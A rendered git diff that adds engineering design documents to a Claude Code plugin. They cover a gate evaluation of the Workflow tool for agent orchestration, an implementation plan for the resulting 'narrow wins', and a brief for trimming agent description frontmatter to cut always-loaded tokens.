# T2 — Workflow tool as orchestration substrate (CC-27 GATE)
|
||||
|
||||
**Status:** Gate evidence + measurement design + recommendation. The adopt/don't-adopt
|
||||
verdict for CC-27 is **operator-gated** (mirrors S3/S6/S7).
|
||||
**Date:** 2026-06-18 (S8)
|
||||
**Resolves:** decision-matrix §W1 / **CC-27** ("does Voyage adopt the Workflow tool as its
|
||||
execution substrate, or stay prose-orchestrated?") + Empirical test **T2**.
|
||||
**Inputs:** `docs/cc-upgrade-2.1.181-decision-matrix.md` §W1 / CC-27, `commands/trekreview.md`
|
||||
(Phases 5–6, the prototype target), `docs/T1-cc26-delegated-orchestration.md` §4 (the S7
|
||||
proliferation-classifier handoff), the Workflow-tool reference (CC 2.1.154+).
|
||||
**Method (this session, operator-chosen):** staged — cheap live feasibility probe + this design
|
||||
doc; the expensive head-to-head bake-off is **specified but NOT run** (see §5), gated on the
|
||||
recommendation below. Same shape as S7.
|
||||
|
||||
---
|
||||
|
||||
## 1. The question the gate actually decides
|
||||
|
||||
CC-27: Voyage **hand-rolls** its swarm / wave / pipeline orchestration in command prose — the main
|
||||
session reads a `/trek*` command, interprets its phase prose, and spawns agents via the Agent tool
|
||||
itself. The Workflow tool (2.1.154+) is a native primitive for exactly this: a JS-scripted
|
||||
orchestrator with `parallel()` / `pipeline()` / `agent({schema})`, background execution, budget
|
||||
control, and resume/journaling.
|
||||
|
||||
The decision is framed as the **biggest identity choice**: adopt Workflow as Voyage's execution
|
||||
substrate, or stay prose-orchestrated for portability and fine-grained control? But that framing is
|
||||
a trap — see §2.
|
||||
|
||||
## 2. Reframing: "substrate swap" is a false binary; the axis is selective hybrid
|
||||
|
||||
The decision-relevant axis is **not** "all-Workflow vs all-prose." It is **"does wrapping a
|
||||
fan-out→synthesize *core* in a Workflow call earn its keep, against the portability / opt-in /
|
||||
in-transcript-visibility costs?"** — measured per core, not per pipeline.
|
||||
|
||||
Why the binary is false, using `/trekreview` (the named prototype) as the worked example:
|
||||
|
||||
- A `/trek*` command is **~80% non-orchestration glue** and **~20% agent fan-out.** trekreview's
|
||||
450 lines are: mode parsing (Phase 1), brief validation (Phase 2), SHA-range discovery (Phase 3),
|
||||
a deterministic path-pattern triage classifier (Phase 4), the strict validator + repair-in-place
|
||||
+ stats JSONL + HTML annotation (Phase 8), and validate-only mode (Phase 8.5). The Workflow tool
|
||||
addresses **none** of that — it orchestrates *agents*, not bash calls, file writes, validators,
|
||||
and operator-facing HTML.
|
||||
- The part Workflow actually replaces is **Phase 5 (parallel reviewers) + Phase 6 (coordinator
|
||||
synthesis)** — the clean fan-out→barrier→synthesize core. That is the 20%.
|
||||
- So "adopt Workflow as substrate" can only ever mean **embed a Workflow call for the core, keep
|
||||
prose for the glue** — i.e. a *hybrid*, not a substrate swap. The honest question is therefore
|
||||
scoped: is the hybrid worth it for *this core*?
|
||||
|
||||
This mirrors the S7 reframing of CC-26 ("wall-time is not the gate metric; Δ main-context tokens
|
||||
is"). For CC-27 the reframe is: **the gate metric is output-fidelity-preserving control/cost on a
|
||||
single clean-barrier core, not a wholesale substrate identity.**
|
||||
|
||||
The trekreview core, for reference (the shape that gets ported):
|
||||
|
||||
```
|
||||
Phase 5: [ brief-conformance-reviewer ∥ code-correctness-reviewer ] parallel fan-out
|
||||
↓ merge findings arrays
|
||||
Phase 6: review-coordinator (dedup → HubSpot Judge → Cloudflare reasonableness → verdict)
|
||||
↓
|
||||
Phase 7: write review.md ← stays prose (file I/O, atomic write, frontmatter rules)
|
||||
```
|
||||
|
||||
## 3. Feasibility probe (RUN — 2026-06-18, CC 2.1.181, interactive session)
|
||||
|
||||
**Goal:** isolate the *mechanism + semantics* (does the fan-out→synthesize shape execute and return
|
||||
to main? do structured schemas remove the JSON-parse fragility? does the S7 proliferation classifier
|
||||
bite a Workflow fan-out? is the tool even invocable here?) from the *workload* (real reviewers on a
|
||||
real diff — deferred to §5). A minimal trekreview-shaped Workflow: `parallel([reviewerA, reviewerB])`
|
||||
with a findings schema → `agent(coordinator)` with a verdict schema, run on a one-line synthetic
|
||||
input, trivial agents, no file reads.
|
||||
|
||||
**Verbatim result (Workflow return value, surfaced to main via task-notification):**
|
||||
|
||||
```json
|
||||
{
|
||||
"reviewers_returned": 2,
|
||||
"merged_findings_count": 2,
|
||||
"sample_findings": [
|
||||
{"file":"foo.js","line":10,"rule_key":"SC_UNTRACED","severity":"MAJOR"},
|
||||
{"file":"foo.js","line":10,"rule_key":"ERR_UNGUARDED_PARSE","severity":"MAJOR"}
|
||||
],
|
||||
"verdict": {"verdict":"BLOCK","deduped_count":2,
|
||||
"note":"Two distinct findings at foo.js:10 — rule_keys differ, so the dedup key
|
||||
(file,line,rule_key) keeps both. … verdict BLOCK on the conservative
|
||||
interpretation that one or more MAJOR findings remain unresolved."}
|
||||
}
|
||||
```
|
||||
_Usage: 3 agents · 85 461 tokens · 13.8 s wall._
|
||||
|
||||
**Findings (measured):**
|
||||
|
||||
| # | Finding | Evidence | Decision impact |
|
||||
|---|---------|----------|-----------------|
|
||||
| F0 | **The Workflow tool is invocable here without a hard opt-in block.** | Launch returned a task ID; the operator's STATE directive (S8 = "reimplement the trekreview swarm as one Workflow") satisfied the opt-in gate. | The opt-in/billing gate is real but a command/operator directive **can** satisfy it. The general UX question (does every `/trekreview` invocation cleanly count as opt-in?) is unresolved — §4. |
|
||||
| F1 | **The fan-out→barrier→synthesize core executes end-to-end.** Both parallel reviewers returned; the synthesizer ran on the merged result. | `reviewers_returned: 2`; the coordinator produced a verdict over both. | trekreview Phase 5→6 ports **natively** to `parallel()` → `agent()`. The shape is a 1:1 fit. |
|
||||
| F2 | **Structured-output schemas remove the JSON-parse fragility.** Findings returned as typed, validated objects — no "collect trailing JSON block / `JSON.parse` / re-ask on error" dance. | `sample_findings` are schema-shaped `{file,line,rule_key,severity}`; no parse step in the script. | **The single most concrete win.** Directly retires the fragile contract at `commands/trekreview.md:202–204`. Validation+retry happens at the tool layer. |
|
||||
| F3 | **The finished artifact returns to main as structured JSON.** | The notification `<result>` carried the full return object; main received the digest, not a transcript to re-parse. | Main gets a clean handoff — but only the *final* object (see F4-control). |
|
||||
| F4 | **A small purposeful fan-out did NOT trip the S7 proliferation classifier.** | 2-way fan-out + 1 synthesizer ran with zero denials; contrast S7's *purposeless recursive* chain, which the auto-mode classifier denied at L2→L3. | For trekreview specifically (2–3 agents) the classifier risk is **low**. The classifier's behavior at *large* Workflow fan-out (trekplan's 6–10-agent swarm) under `auto`/`bypass` remains **unverified** — same caveat shape as S7. |
|
||||
|
||||
> Verifiseringsplikt: F0–F4 are *measured* from the probe above. The probe used trivial agents and a
|
||||
> small (2-way) purposeful fan-out in an interactive session. It does **not** establish (a) classifier
|
||||
> behavior for a large fan-out under auto/bypass, (b) output fidelity against a *real* diff, or (c)
|
||||
> token cost at production context size — all deferred to §5. What it establishes is mechanism,
|
||||
> schema-robustness, return-to-main, and small-scale classifier tolerance.
|
||||
|
||||
## 4. Decision-relevant analysis — the honest ledger
|
||||
|
||||
### 4.1 What the Workflow substrate demonstrably wins (measured / structural)
|
||||
|
||||
1. **Schema-validated reviewer contracts (F2)** — the one concrete, measured win. trekreview today
|
||||
"collects each reviewer's trailing JSON block … on parse error, ask the agent to re-emit"
|
||||
(`trekreview.md:202–204`). `agent({schema})` makes that a tool-layer guarantee. *This win is
|
||||
capturable even without the Workflow tool — see §6.*
|
||||
2. **Deterministic control flow (F1/F3)** — fan-out, merge (`flatMap`), dedup-by-triplet can be
|
||||
plain JS, not prose the model re-interprets each run. The Phase-6 dedup pass (`(file,line,
|
||||
rule_key)`) is pure data manipulation that does not need an agent at all in a Workflow port;
|
||||
only the *judgment* passes (HubSpot Judge, Cloudflare reasonableness) stay agent calls.
|
||||
3. **Native pipelining / budget control** — `pipeline()` (no-barrier streaming) and `budget.*`
|
||||
exist. Minor for trekreview's single barrier; potentially relevant for trekplan's longer chain.
|
||||
|
||||
### 4.2 What the Workflow substrate costs (measured / structural)
|
||||
|
||||
1. **Loss of in-transcript operator visibility (F3, structural).** Workflow runs in the background;
|
||||
intermediate reviewer findings appear in `/workflows`, not the main conversation. trekreview is
|
||||
an **adversarial-review tool whose verdict the operator gates** — in-line visibility of each
|
||||
finding as it lands, and the ability to interrupt mid-swarm, is a real property prose has and
|
||||
Workflow trades away. (The final `review.md` artifact is still operator-gated, so this is a
|
||||
degradation of *mid-flow* visibility, not of the gate itself.)
|
||||
2. **Portability floor.** Workflow is CC **2.1.154+**. Voyage ships as a plugin; making a command
|
||||
require the Workflow tool raises the consumer's CC floor. Prose commands run on any recent CC.
|
||||
3. **Opt-in / billing semantics (F0).** Invocable here via the operator directive, but the Workflow
|
||||
tool is explicitly gated on opt-in ("ONLY when the user has explicitly opted into multi-agent
|
||||
orchestration"). A `/trekreview` invocation would have to *count as* that opt-in cleanly, or the
|
||||
UX gains a second gate. Unresolved.
|
||||
4. **Per-agent context floor is real but NOT a Workflow-specific tax.** 85k tokens for 3 trivial
|
||||
agents (~28k/agent) is the fresh-context floor each spawned agent pays — but **prose
|
||||
orchestration spawns the same 3 agents** (2 reviewers + coordinator) and pays the same floor.
|
||||
So token cost is **roughly a wash** for equal agent count; it is *not* a strong differentiator
|
||||
either way. (This corrects the instinct to count it as a Workflow con.)
|
||||
5. **Loss of ad-hoc mid-flow model judgment.** Prose lets main *read* a malformed reviewer output
|
||||
and decide to re-ask; a Workflow handles that via schema-retry (better for JSON) but cannot make
|
||||
the unscripted judgment calls a prose-driven main session can.
|
||||
|
||||
### 4.3 The classifier handoff from S7 (resolved-partial)
|
||||
|
||||
S7's open item — "classifier behavior for a *purposeful* swarm under auto/bypass is unverified" —
|
||||
is **partially closed**: a small purposeful Workflow fan-out is tolerated (F4). It remains open for
|
||||
*large* fan-out (≥6 agents) under auto/bypass, which is trekplan's shape, not trekreview's. trekreview's
|
||||
2–3-agent core is below the risk threshold; the bake-off (§5) must still measure it for the larger swarms.
|
||||
|
||||
## 5. Measurement design — the full prose-vs-Workflow bake-off (specified, ready to run)
|
||||
|
||||
If the operator greenlights a scoped port (§7), this resolves the *fidelity/control/cost* half of
|
||||
CC-27. **Not run** in S8.
|
||||
|
||||
**Arms (same brief, same delivered diff, same model/effort; Phases 1–4 + 7–8 stay prose in both):**
|
||||
- **Arm A — prose (baseline):** current `/trekreview` Phase 5–6 — main spawns the two reviewers in
|
||||
parallel, collects + parses their JSON, spawns `review-coordinator`.
|
||||
- **Arm B — Workflow:** Phase 5–6 reimplemented as one Workflow —
|
||||
`parallel([conformance, correctness])` with a findings schema → `agent(coordinator)` with a
|
||||
verdict schema; the dedup-by-triplet pass moved to plain JS; main receives the `review.md` body.
|
||||
|
||||
**Fixed inputs:** one representative delivered project (reuse an existing `.claude/projects/*/` with
|
||||
a real diff + brief of medium size), `model: opus` / default effort, `--profile balanced`.
|
||||
|
||||
**Metrics (per arm, ≥3 runs for medians — q3 harness pattern for usage extraction):**
|
||||
|
||||
| Metric | Source | Role |
|
||||
|--------|--------|------|
|
||||
| **Output fidelity** — same verdict + equivalent finding set (IDs, severities, rule_keys) | diff the two `review.md` | **PRIMARY** — a substrate that changes the verdict/findings fails the gate |
|
||||
| JSON-robustness — parse-error/re-ask events (Arm A) vs schema-retries (Arm B) | transcript/script logs | **the concrete win** — quantifies the fragility removed (F2) |
|
||||
| Control / operator visibility | qualitative: intermediate findings in-transcript? interruptible mid-swarm? | **gate guard** — review is operator-gated (§4.2.1) |
|
||||
| Classifier interference | count of denied/missing spawns (Arm B, repeat under `auto`/`bypass`) | feasibility guard (F4 / S7) |
|
||||
| Total token cost (main + descendants) | summed stream-json `usage` | secondary — expected ≈ wash (§4.2.4) |
|
||||
| Wall-time to `review.md` | timestamps | secondary |
|
||||
|
||||
**Decision thresholds (CC-27 verdict for *this core*):**
|
||||
- **POSITIVE (adopt scoped hybrid):** output fidelity ≡ Arm A (same verdict; finding set within
|
||||
tolerance) **AND** JSON-robustness strictly better **AND** zero classifier interference **AND**
|
||||
token cost within +15% **AND** operator visibility judged acceptable (the `review.md` gate
|
||||
survives).
|
||||
- **NEGATIVE (keep prose):** verdict/findings diverge, **OR** any classifier interference drops a
|
||||
reviewer, **OR** token cost > +30%, **OR** loss of mid-flow visibility judged unacceptable.
|
||||
- **INCONCLUSIVE:** in-between → fall back to §6 (schema contract in prose, no Workflow) and re-measure.
|
||||
|
||||
**Harness note:** extend the `scripts/q3-cache-prefix-experiment.mjs` pattern (stream-json `usage`
|
||||
extraction, median, threshold→verdict, always-write result file). The fidelity diff (review.md ↔
|
||||
review.md) is new; the usage scaffold is reused.
|
||||
|
||||
## 6. Cheaper first step (preferred over the full bake-off) — schema contract without Workflow
|
||||
|
||||
The single concrete win (F2) is **capturable without adopting the Workflow tool at all.** The
|
||||
reviewer-output fragility lives in prose ("collect trailing JSON block; on parse error, ask the
|
||||
agent to re-emit"). The narrowest, zero-dependency fix is to **codify the reviewer findings JSON as
|
||||
a validated schema contract in prose Phase 5** — main validates each reviewer's JSON against a
|
||||
findings JSON-schema (Voyage already has `lib/validators/` + `lib/util/frontmatter.mjs` parsers) and
|
||||
re-asks on schema failure, not just on parse failure.
|
||||
|
||||
This captures the robustness win with **no portability floor, no opt-in gate, no loss of
|
||||
in-transcript visibility** — the substrate stays prose. It is the S8 analog of S7 §6's "narrow
|
||||
synthesis-agent PoC preferred over the full bake-off": isolate the largest win with the smallest
|
||||
blast radius. **Recommended as the first thing to ship if the operator wants the win without the
|
||||
substrate commitment.**
|
||||
|
||||
## 7. CC-27 recommendation (operator gates the verdict)
|
||||
|
||||
**Three tiers, in increasing commitment:**
|
||||
|
||||
1. **Ship regardless (cheapest, no Workflow):** codify reviewer-output JSON as a schema-validated
|
||||
contract in prose Phase 5 (§6). Captures the one measured win (F2 robustness) with zero new
|
||||
dependency, zero opt-in friction, zero visibility loss. Low risk, high value.
|
||||
2. **Scoped hybrid — a measured YES candidate, gated on the §5 bake-off:** port trekreview Phase 5–6
|
||||
to a Workflow **if** the bake-off shows fidelity-equivalent output + acceptable control/cost.
|
||||
trekreview's clean-barrier core is the **best-case first port**; trekplan's swarm is a later,
|
||||
classifier-sensitive candidate (its larger fan-out under auto/bypass is the unverified risk).
|
||||
3. **Wholesale substrate swap — NOT recommended.** Portability floor (2.1.154+), opt-in/billing UX
|
||||
on every invocation, 80%-of-each-command is non-orchestration glue Workflow does not touch, and
|
||||
loss of mid-flow operator visibility for tools whose verdict the operator gates. The identity
|
||||
framing ("adopt Workflow as substrate") over-claims what the primitive can replace.
|
||||
|
||||
**Net:** CC-27 stays **EVALUATE**, resolving toward **selective hybrid, not substrate swap** — a
|
||||
slightly more YES-leaning posture than S7's CC-26, because here both feasibility (F1) *and* a
|
||||
concrete win (F2) are confirmed, where CC-26's only upside (main-context relief) was speculative and
|
||||
counterweighted. The wholesale-substrate option is declined. The first action, if the operator wants
|
||||
movement, is the §6 prose schema contract; the first Workflow port, if pursued, is trekreview
|
||||
Phase 5–6 via the §5 bake-off. CC-26 (delegated orchestration, S7) and CC-27 are now both resolved
|
||||
to "narrow/selective, operator-gated, not wholesale."
|
||||
|
||||
## 8. Open items
|
||||
|
||||
1. **Output fidelity unmeasured** — the probe used a synthetic input; a real-diff prose-vs-Workflow
|
||||
`review.md` comparison (§5 PRIMARY metric) is designed but unrun.
|
||||
2. **Classifier behavior at large fan-out under auto/bypass unverified** (F4) — trekreview's 2–3
|
||||
agents are below threshold; trekplan's 6–10-agent swarm is not, and must be measured before any
|
||||
Workflow port reaches a headless/auto path. Inherits directly from S7 §4.
|
||||
3. **Opt-in UX for command-invoked Workflows unresolved** (F0) — whether a bare `/trekreview`
|
||||
invocation cleanly satisfies the Workflow opt-in gate for an end user (not just via an operator
|
||||
STATE directive) needs a real end-user test.
|
||||
4. **§6 schema contract and §5 bake-off are both designed but unbuilt** — ready to run if CC-27 is
|
||||
greenlit toward the schema contract (tier 1) and/or the scoped port (tier 2).
|
||||
121
docs/W1-narrow-wins-plan.md
Normal file
121
docs/W1-narrow-wins-plan.md
Normal file
|
|
@ -0,0 +1,121 @@
|
|||
# W1 narrow-wins — implementation plan (S9 →)
|
||||
|
||||
**Status:** Active plan. Operator decision (2026-06-18): **implement all narrow wins** surfaced by
|
||||
the S7 (CC-26) and S8 (CC-27) gates. This doc sequences them session-by-session per the kjøremodus
|
||||
(ONE task/session → commit + push → update STATE → STOP).
|
||||
**Resolves the implementation half of:** decision-matrix §W1 (CC-26 + CC-27).
|
||||
**Inputs:** `docs/T1-cc26-delegated-orchestration.md` (§6 synthesis-agent PoC), `docs/T2-cc27-workflow-substrate.md` (§5 bake-off, §6 schema contract), `commands/trekreview.md` Phase 5–6, `commands/trekplan.md` Phase 7, `lib/review/`, `lib/validators/review-validator.mjs`, `scripts/q3-cache-prefix-experiment.mjs` (harness pattern).
|
||||
|
||||
---
|
||||
|
||||
## The narrow wins (what "all" means)
|
||||
|
||||
| ID | Narrow win | Source | Gate (guard, not blocker — see §Posture) |
|
||||
|----|-----------|--------|------------------------------------------|
|
||||
| **NW1** | **Reviewer-output schema contract** — codify trekreview Phase 5 reviewer JSON as a validated schema; main validates each reviewer's output and re-asks on *schema* failure, not just parse failure. Retires the fragile contract at `trekreview.md:202–204`. **No Workflow dependency.** | S8 tier 1 (T2 §6) | Ungated — ship regardless. |
|
||||
| **NW2** | **trekreview Phase 5–6 Workflow port** — `parallel([conformance, correctness], {schema})` → JS dedup-by-triplet → `agent(coordinator, {schema})`, as an opt-in path. Reuses NW1 schemas. | S8 tier 2 (T2 §5) | Bake-off must show **fidelity-equivalent** review.md + zero classifier interference + acceptable control/cost, else the port does not become reachable. |
|
||||
| **NW3** | **trekplan Phase 7 synthesis-agent** — delegate the single heaviest inline read (6–10 agent outputs resident at once) to a `synthesis-agent`; main receives the digest. | S7 PoC (T1 §6) | Adopt only if measured **Δ main-context ≥ 30%** with no quality loss. |
|
||||
|
||||
**Excluded (declined, not narrow):** wholesale Workflow substrate swap (T2 tier 3); wholesale
|
||||
delegated orchestrator→swarm (T1 §7). Not in scope.
|
||||
|
||||
## Cross-cutting constraints
|
||||
|
||||
- **Iron Law / TDD (global):** no production code without a failing test first. Every implementing
|
||||
session writes failing tests, then the minimal code to pass.
|
||||
- **Don't ship a measured regression.** NW2 and NW3 carry numeric guards (fidelity / Δ-tokens). A
|
||||
guard failure is **surfaced to the operator**, not silently shipped — the intent is to implement,
|
||||
but not at the cost of a verdict-changing or quality-losing regression.
|
||||
- **Classifier risk (S7+S8 open item).** trekreview's 2–3-agent fan-out is below the proliferation-
|
||||
classifier threshold (S8 F4). NW2's bake-off still checks it **under `auto`/`bypass`** because
|
||||
trekreview can run headless. The *large* fan-out case (trekplan swarm) is NOT touched by these
|
||||
narrow wins (NW3 delegates a single synthesis read, not a fan-out) and stays deferred.
|
||||
- **One task per session.** Conditional sessions (S11, and the adopt-step inside S12) collapse to a
|
||||
short "declined per measurement" record if their guard fails.
|
||||
|
||||
## Session sequence
|
||||
|
||||
### S9 — NW1: reviewer-output schema contract (TDD, ungated)
|
||||
1. **Failing tests first** (`tests/lib/` + `tests/parsers/`): a findings-schema validator that
|
||||
accepts a well-formed findings array and rejects each malformation (missing `rule_key`, bad
|
||||
`severity` enum, non-numeric `line`, missing `file`) with a stable error code.
|
||||
2. Implement `lib/review/findings-schema.mjs` (schema + validator), reusing the
|
||||
`lib/validators/review-validator.mjs` error-shape conventions.
|
||||
3. Wire into `commands/trekreview.md` Phase 5 prose: replace "collect trailing JSON block … on
|
||||
parse error ask the agent to re-emit" (`:202–204`) with "validate each reviewer's JSON against
|
||||
the findings schema; on schema failure re-ask for conforming JSON (bounded retries N=2)."
|
||||
4. **Verifisering:** `node --test tests/lib/findings-schema.test.mjs` green; `grep -n "findings-schema" commands/trekreview.md` shows the wire-in; full suite still passes (`node --test`); `claude plugin validate` clean.
|
||||
5. **Deliverable:** schema validator + tests + Phase 5 prose update. Test count rises by the new cases.
|
||||
|
||||
### S10 — NW2 part A: build the Workflow port + run the bake-off
|
||||
1. Build the port as a Workflow script (the T2 §5 Arm B): `parallel([conformance, correctness])`
|
||||
with the NW1 findings schema → **plain-JS dedup by `(file,line,rule_key)`** (pattern ref:
|
||||
`lib/review/plan-review-dedup.mjs`) → `agent(review-coordinator)` with a verdict schema → return
|
||||
the review.md body. Keep Phases 1–4 + 7–8 in prose.
|
||||
2. **Bake-off** (extend `scripts/q3-cache-prefix-experiment.mjs`): fixed real project (an existing
|
||||
`.claude/projects/*/` with a real diff + brief), `model: opus` / `--profile balanced`, ≥3 runs
|
||||
per arm. Capture the T2 §5 metrics: output fidelity (diff the two `review.md`), JSON-robustness,
|
||||
control/visibility (qualitative), classifier interference under `auto`, token cost, wall-time.
|
||||
3. Compute verdict vs the T2 §5 thresholds (POSITIVE / NEGATIVE / INCONCLUSIVE); write a results doc
|
||||
`docs/T2-bakeoff-results.md`.
|
||||
4. **Verifisering:** results doc written with a verdict line; fidelity diff command + its output
|
||||
recorded; classifier-interference count stated (target 0); ≥3 runs/arm present in the raw data.
|
||||
5. **Deliverable:** Workflow port script + bake-off harness + results doc + verdict.
|
||||
|
||||
### S11 — NW2 part B: integrate or decline (gated on S10 verdict)
|
||||
- **If S10 = POSITIVE:** make the Workflow path reachable as an **opt-in `--workflow` flag**
|
||||
(default stays prose — preserves the 2.1.154+ portability floor; see §Open decisions). TDD the
|
||||
flag routing in `commands/trekreview.md`. Document the opt-in + its CC-floor requirement.
|
||||
- **If NEGATIVE / INCONCLUSIVE:** record "port declined per bake-off; NW1 schema win stands"; do not
|
||||
wire the flag. Short session.
|
||||
- **Verifisering:** if integrated — `grep` shows the `--workflow` route; a smoke run produces a
|
||||
review.md fidelity-equal to the prose path on the bake-off project; full suite green. If declined
|
||||
— the decision + evidence are in `docs/T2-bakeoff-results.md` and STATE.
|
||||
- **Deliverable:** `--workflow` opt-in (or a recorded decline).
|
||||
|
||||
### S12 — NW3: synthesis-agent measurement + adopt-if-it-pays
|
||||
1. Build a `synthesis-agent` spec (`agents/synthesis-agent.md`) that ingests the trekplan Phase-5/7
|
||||
exploration outputs and emits the findings digest main currently writes inline.
|
||||
2. **Measure Δ main-context** (q3 harness): inline baseline vs delegated, same exploration outputs,
|
||||
≥3 runs; LLM-judge (or operator) checks digest quality ≥ inline.
|
||||
3. **If Δ ≥ 30% and quality-equivalent:** wire `commands/trekplan.md` Phase 7 to delegate the digest
|
||||
to `synthesis-agent` (TDD the routing). **Else:** record "declined per measurement (Δ = X%)".
|
||||
4. **Verifisering:** measurement results file with Δ%; if adopted — Phase 7 prose references the
|
||||
agent + a run shows the digest is produced out-of-main; full suite green. If declined — Δ% and
|
||||
reasoning recorded in STATE + a short `docs/T1-synthesis-poc-results.md`.
|
||||
5. **Deliverable:** `synthesis-agent` + measurement results + (adopt wiring OR recorded decline).
|
||||
|
||||
### S13 — RELEASE (was the old S10)
|
||||
CC-07 fallbackModel · CC-12/13 hooks · CC-08 GH#36071 · CC-29/31 verify · **plugin version bump +
|
||||
CHANGELOG (now also covering NW1–NW3 changes) + version badge** + final `claude plugin validate` +
|
||||
full `node --test`. The version bump is the coordinated release that also lands the brief-schema
|
||||
2.2 badge held since S6.
|
||||
|
||||
## Posture on the guards (default — operator may override)
|
||||
|
||||
"Implement all narrow wins" is read as **pursue and ship all three**, with NW2/NW3's numeric guards
|
||||
acting as **regression guards, not veto gates**: we build each win, measure, and ship when the
|
||||
measurement confirms; a guard failure is surfaced for an operator call rather than silently shipped
|
||||
or silently dropped. NW1 has no guard and ships outright. If the operator instead wants NW2/NW3
|
||||
shipped **regardless** of their measurements, say so and S11/S12 drop the conditional branch.
|
||||
|
||||
## Open decisions (resolve in-session, recommendations given)
|
||||
|
||||
1. **NW2 integration posture (needed at S11, informed by S10):** opt-in `--workflow` flag (prose
|
||||
stays default) **[recommended]** vs Workflow-by-default. Recommendation preserves portability
|
||||
(T2's biggest structural con — raising the consumer CC floor to 2.1.154+ is outward-facing and
|
||||
should be opt-in until proven), and is reversible. The bake-off's control/visibility findings may
|
||||
strengthen the case either way.
|
||||
2. **Guard-fail handling (NW2/NW3):** per §Posture — surface to operator. Confirm if the operator
|
||||
wants a different default.
|
||||
|
||||
## Verifisering (whole plan)
|
||||
|
||||
- Each session leaves the suite green (`node --test`) and `claude plugin validate` clean.
|
||||
- NW1 done ⇔ findings-schema tests pass AND `trekreview.md:202–204` fragility is replaced.
|
||||
- NW2 done ⇔ bake-off verdict recorded AND (`--workflow` route smoke-tested fidelity-equal) OR
|
||||
(decline recorded with evidence).
|
||||
- NW3 done ⇔ Δ main-context measured AND (Phase 7 delegates AND digest produced out-of-main) OR
|
||||
(decline recorded with Δ%).
|
||||
- Release (S13) ⇔ version bumped consistently across plugin manifest + CHANGELOG + badge; final
|
||||
validate + full suite green.
|
||||
153
docs/agent-description-token-trim-brief.md
Normal file
153
docs/agent-description-token-trim-brief.md
Normal file
|
|
@ -0,0 +1,153 @@
|
|||
---
|
||||
type: trekbrief
|
||||
brief_version: "2.2"
|
||||
created: 2026-06-26
|
||||
task: "Relocate <example> blocks out of voyage agent description frontmatter to cut always-loaded tokens"
|
||||
slug: agent-description-token-trim
|
||||
project_dir: .claude/projects/2026-06-26-agent-description-token-trim/
|
||||
research_topics: 0
|
||||
research_status: skipped
|
||||
auto_research: false
|
||||
interview_turns: 0
|
||||
source: manual
|
||||
framing: refine
|
||||
phase_signals:
|
||||
- phase: research
|
||||
effort: low
|
||||
- phase: plan
|
||||
effort: standard
|
||||
- phase: execute
|
||||
effort: standard
|
||||
- phase: review
|
||||
effort: standard
|
||||
---
|
||||
|
||||
# Task: Trim voyage agent `description:` frontmatter — relocate `<example>` blocks into the agent body
|
||||
|
||||
> **Cross-session coordination brief.** Authored 2026-06-26 by the **config-audit machine-tuning session** (a parallel session that audits this machine's Claude Code always-loaded token footprint). It is dropped here per operator instruction so the **voyage session** owns the implementation — config-audit does **not** edit the voyage repo. The source measurement lives in config-audit's local worklist (`config-audit/docs/machine-tuning-worklist.local.md`, item **M4**, session m). This brief is the contract; `/trekplan` can consume it directly.
|
||||
|
||||
## TL;DR
|
||||
|
||||
voyage's 24 agent `description:` fields cost **~4,418 always-loaded tokens every turn** (injected into the system prompt of every session that has voyage enabled). **17** of those agents carry **two `<example>` blocks each (34 total, ~3,147 tok)** in their frontmatter `description`. Those example blocks exist to drive *autonomous* agent-selection — but voyage agents are launched **by explicit name** from the orchestrator commands, so the examples are cost without function. Move them into each agent's body (preserve, don't delete). Expected saving: **~2,500–3,100 always-loaded tokens.** framing: **refine** — this continues the token-trim line started in M1a (v5.6.1).
|
||||
|
||||
## Intent
|
||||
|
||||
The machine's #1 tuning lever is *always-loaded* tokens — context injected on every turn, paid on every request. config-audit's Fase-1 measurement (2026-06-26) found the machine's global layer is already lean (CLAUDE.md trimmed, rules/agents empty, output style off, MCP deferred), and the **single largest remaining tunable source is voyage's agent listing (~4,418 tok)**. The bulk of that is `<example>` blocks in the spawnable agents' `description:` frontmatter. These blocks follow the documented agent-authoring pattern whose purpose is to help the *main loop autonomously decide* when to delegate to an agent. voyage doesn't rely on that path: `/trekplan`, `/trekresearch`, and `/trekreview` launch their agents **deterministically by name** ("Launch the **architecture-mapper** agent", explicit per-codebase-size launch tables, explicit `voyage:review-coordinator` references). So the examples are paying a per-turn token tax for an auto-selection behavior voyage never uses.
|
||||
|
||||
## Goal
|
||||
|
||||
Each of the **17** example-bearing voyage agents has its frontmatter `description:` reduced to its **triggering lead sentence(s)** (the "Use this agent to/when…" summary — what any residual autonomous selection actually needs), with the `<example>` blocks **relocated verbatim into the agent's markdown body** under a clearly-marked section (e.g. `## When to use — examples`). No agent is deleted, no behavior changes, no example content is lost. The injected agent-listing cost drops by ~2,500–3,100 tokens, landing on every machine that reloads voyage after release.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- **Do NOT delete the examples** — relocate them into the body. They remain useful documentation and `/trekbrief`/onboarding reference.
|
||||
- **Do NOT change any agent's system prompt, body logic, tools, model, or `name`** (`name` is the agent's identity).
|
||||
- **Do NOT touch the 7 zero-example agents** (`planning-orchestrator`, `research-orchestrator`, `review-orchestrator`, `synthesis-agent`, `review-coordinator`, `code-correctness-reviewer`, `brief-conformance-reviewer`) — already lean (M1a handled the reference/dormant ones; the orchestrators keep their pinned "reference document, not a spawnable capability" phrasing).
|
||||
- **Do NOT modify the orchestrator commands** (`/trekplan` etc.) or change which agents exist.
|
||||
- This is **not** a behavioral or capability change — purely a token/packaging optimization.
|
||||
|
||||
## Constraints
|
||||
|
||||
- Frontmatter must remain valid YAML. The retained `description:` must keep a meaningful **triggering lead sentence**, because a few agents (notably the `*-researcher` agents) *can* legitimately be selected autonomously when a user asks a research question directly — keep their first 1–2 sentences descriptive enough to still trigger.
|
||||
- **The test suite must stay green.** `node --test 'tests/**/*.test.mjs'` is the gate. voyage has inventory/frontmatter-pin tests — M1a's note warned that "synthesis-schema + inventory tests may pin description content." If any test asserts on `<example>` presence/count or description length, update that test's expectation **deliberately** (it is asserting the old structure) and document why.
|
||||
- Follow voyage's release discipline: version-sync (plugin.json + package.json + README badge/What's-new + CHANGELOG), annotated tag, and catalog `ref` bump with `check-versions` green. This is a perf/token change → a **patch** release (e.g. v5.6.2) or fold into the work already in progress on the branch.
|
||||
- The saving only reaches a machine after the operator reloads voyage (`/plugin marketplace update` + update + `/exit`) — note this in the CHANGELOG so the delta isn't expected instantly.
|
||||
|
||||
## Preferences
|
||||
|
||||
- Relocate the two examples per agent into a single body section with a stable heading so they're easy to find and so any future inventory test can pin the body instead of the frontmatter.
|
||||
- Keep the diff mechanical and uniform across the 17 agents (same heading, same ordering) for reviewability.
|
||||
